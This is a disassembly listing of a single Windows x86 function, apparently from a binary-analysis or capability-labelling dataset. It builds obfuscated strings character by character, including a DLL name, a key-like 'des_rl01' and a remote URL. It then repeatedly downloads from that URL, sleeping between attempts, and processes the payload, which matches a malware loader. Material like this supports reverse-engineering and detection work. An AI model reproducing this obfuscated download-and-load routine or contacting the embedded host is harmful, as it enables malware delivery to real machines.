Function at 0x4133eb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573a2b
mov eax, dword fs:[0]
push eax
sub esp, 0xb58
mov eax, dword [0x5e3c30]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xb58], ecx
cmp dword [ebp + 8], 0
jne 0x413455
push 0x5efeb8
push 0
push dword [ebp - 0xb58]
push 0x40cd64
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x5e92b8], eax
push 0
mov ecx, dword [ebp - 0xb58]
call fcn.00409c65
jmp 0x413532
cmp dword [ebp + 8], 1
jne 0x413498
mov ecx, dword [ebp - 0xb58]
call fcn.00413b57
push 1
mov ecx, dword [ebp - 0xb58]
call fcn.00409c65
mov eax, dword [ebp - 0xb58]
mov byte [eax + 0xec], 0
push 1
mov ecx, dword [ebp - 0xb58]
add ecx, 0x24c
call fcn.00454fa7
jmp 0x413532
cmp dword [ebp + 8], 2
jne 0x413532
push 2
mov ecx, dword [ebp - 0xb58]
call fcn.00409c65
mov ecx, dword [ebp - 0xb58]
call fcn.0040c6b2
movzx eax, byte [0x5efdea]
test eax, eax
jne 0x4134e0
push 1
push 0x3ed
mov ecx, dword [ebp - 0xb58]
call fcn.00454d84
mov ecx, eax
call fcn.00454fa7
jmp 0x4134f9
push 1
push 0x3ec
mov ecx, dword [ebp - 0xb58]
call fcn.00454d84
mov ecx, eax
call fcn.00454fa7
push 1
mov ecx, dword [ebp - 0xb58]
add ecx, 0x24c
call fcn.00454fa7
push 1
mov ecx, dword [ebp - 0xb58]
add ecx, 0xf0
call fcn.00454fa7
push 1
mov ecx, dword [ebp - 0xb58]
add ecx, 0x164
call fcn.00454fa7
cmp dword [ebp + 8], 0x63
jne 0x413b30
push 0
lea ecx, [ebp - 0x7c]
call fcn.0041bcaf
and dword [ebp - 4], 0
lea ecx, [ebp - 0x410]
call fcn.00401d18
mov byte [ebp - 4], 1
mov byte [ebp - 0x27c], 0
push 0x1ff
push 0
lea eax, [ebp - 0x27b]
push eax
call fcn.00547d40
add esp, 0xc
push 0x5aaec2
lea ecx, [ebp - 0x298]
call fcn.00407628
mov byte [ebp - 4], 2
push 0x5aaec3
lea ecx, [ebp - 0x2b4]
call fcn.00407628
mov byte [ebp - 4], 3
push 0x5aaec9
lea ecx, [ebp - 0x64]
call fcn.00407628
mov byte [ebp - 4], 4
push 0x200
lea eax, [ebp - 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x410]
call fcn.004010d1
push dword [0x5b36e0]
push 0x5c
lea ecx, [ebp - 0x410]
call fcn.0040773c
inc eax
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x410]
call fcn.00407758
mov dword [ebp - 0xb5c], eax
mov eax, dword [ebp - 0xb5c]
mov dword [ebp - 0xb60], eax
mov byte [ebp - 4], 5
push dword [ebp - 0xb60]
lea ecx, [ebp - 0x410]
call fcn.00407693
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2c]
call fcn.00401d44
jmp 0x413769
push 0x5aaeca
lea ecx, [ebp - 0x298]
call fcn.004010d1
push 0x4c
lea ecx, [ebp - 0x298]
call fcn.004076c6
push 0x75
lea ecx, [ebp - 0x298]
call fcn.004076c6
push 0x6e
lea ecx, [ebp - 0x298]
call fcn.004076c6
push 0x61
lea ecx, [ebp - 0x298]
call fcn.004076c6
push 0x72
lea ecx, [ebp - 0x298]
call fcn.004076c6
push 0x2e
lea ecx, [ebp - 0x298]
call fcn.004076c6
push 0x64
lea ecx, [ebp - 0x298]
call fcn.004076c6
push 0x6c
lea ecx, [ebp - 0x298]
call fcn.004076c6
push 0x6c
lea ecx, [ebp - 0x298]
call fcn.004076c6
jmp 0x413912
push 0x5aaecb
lea ecx, [ebp - 0x2b4]
call fcn.004010d1
push 0x44
lea ecx, [ebp - 0x2b4]
call fcn.004076c6
push 0x6c
lea ecx, [ebp - 0x2b4]
call fcn.004076c6
push 0x6c
lea ecx, [ebp - 0x2b4]
call fcn.004076c6
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00414c94
add esp, 0xc
mov dword [ebp - 0xb64], eax
lea eax, [ebp - 0x3f4]
push eax
mov ecx, dword [ebp - 0xb64]
call fcn.00405e71
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x48]
call fcn.00401d44
cmp dword [ebp - 0x68], 0
je 0x413ae9
lea ecx, [ebp - 0x2b4]
call fcn.00405e71
push eax
lea eax, [ebp - 0x3c8]
push eax
call fcn.00409703
pop ecx
pop ecx
test eax, eax
je 0x413ae9
jmp 0x413954
push 0x68
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x74
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x74
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x70
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x3a
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x2f
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x2f
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x6a
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x70
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x2e
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x63
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x6f
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x6e
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x66
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x69
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x67
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x2e
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x31
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x36
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x38
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x68
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x64
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x61
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x2e
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x63
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x6f
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x6d
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x2f
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x72
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x65
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x73
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x2f
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x72
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x6c
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x31
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x30
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x30
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x31
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x2e
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x64
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x61
lea ecx, [ebp - 0x64]
call fcn.004076c6
push 0x74
lea ecx, [ebp - 0x64]
call fcn.004076c6
jmp 0x413633
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0xb4c]
call fcn.0041bdae
mov byte [ebp - 4], 6
lea eax, [ebp - 0xb4c]
push eax
push 0x5b2a1c
lea ecx, [ebp - 0x7c]
call fcn.0041c29a
mov ecx, eax
call fcn.0041c14a
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xb4c]
call fcn.0041c05e
jmp 0x4136bd
and dword [ebp - 0x414], 0
and dword [ebp - 0x424], 0
and dword [ebp - 0x418], 0
and dword [ebp - 0x41c], 0
lea ecx, [ebp - 0x440]
call fcn.00401d18
mov byte [ebp - 4], 7
push 0x64
lea ecx, [ebp - 0x440]
call fcn.004076c6
push 0x65
lea ecx, [ebp - 0x440]
call fcn.004076c6
push 0x73
lea ecx, [ebp - 0x440]
call fcn.004076c6
push 0x5f
lea ecx, [ebp - 0x440]
call fcn.004076c6
push 0x72
lea ecx, [ebp - 0x440]
call fcn.004076c6
push 0x6c
lea ecx, [ebp - 0x440]
call fcn.004076c6
push 0x30
lea ecx, [ebp - 0x440]
call fcn.004076c6
push 0x31
lea ecx, [ebp - 0x440]
call fcn.004076c6
mov dword [ebp - 0x420], 5
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x420]
dec ecx
mov dword [ebp - 0x420], ecx
test eax, eax
je 0x413ada
push 0
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x64]
call fcn.00405e71
push eax
call fcn.00417d0b
add esp, 0x10
movzx eax, al
test eax, eax
jne 0x413a44
push 0x493e0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x413ad5
lea ecx, [ebp - 0xb34]
call fcn.00419514
lea eax, [ebp - 0x41c]
push eax
lea ecx, [ebp - 0x440]
call fcn.00405e71
push eax
push dword [ebp - 0x418]
push dword [ebp - 0x414]
lea ecx, [ebp - 0xb34]
call fcn.00414e4d
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0
je 0x413ab2
push dword [ebp - 0x424]
call fcn.00416f06
pop ecx
mov dword [ebp - 0xb38], eax
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0xb50], eax
push dword [ebp - 0xb50]
call fcn.00445de3
pop ecx
cmp dword [ebp - 0x414], 0
je 0x413ad3
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0xb54], eax
push dword [ebp - 0xb54]
call fcn.00445de3
pop ecx
jmp 0x413ada
jmp 0x4139f1
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x440]
call fcn.00401d44
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x64]
call fcn.00401d44
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2b4]
call fcn.00401d44
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x298]
call fcn.00401d44
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x410]
call fcn.00401d44
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c]
call fcn.0041c05e
jmp 0x413b3e
push dword [ebp + 8]
mov ecx, dword [ebp - 0xb58]
call fcn.00409c90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00543a33
leave
ret 4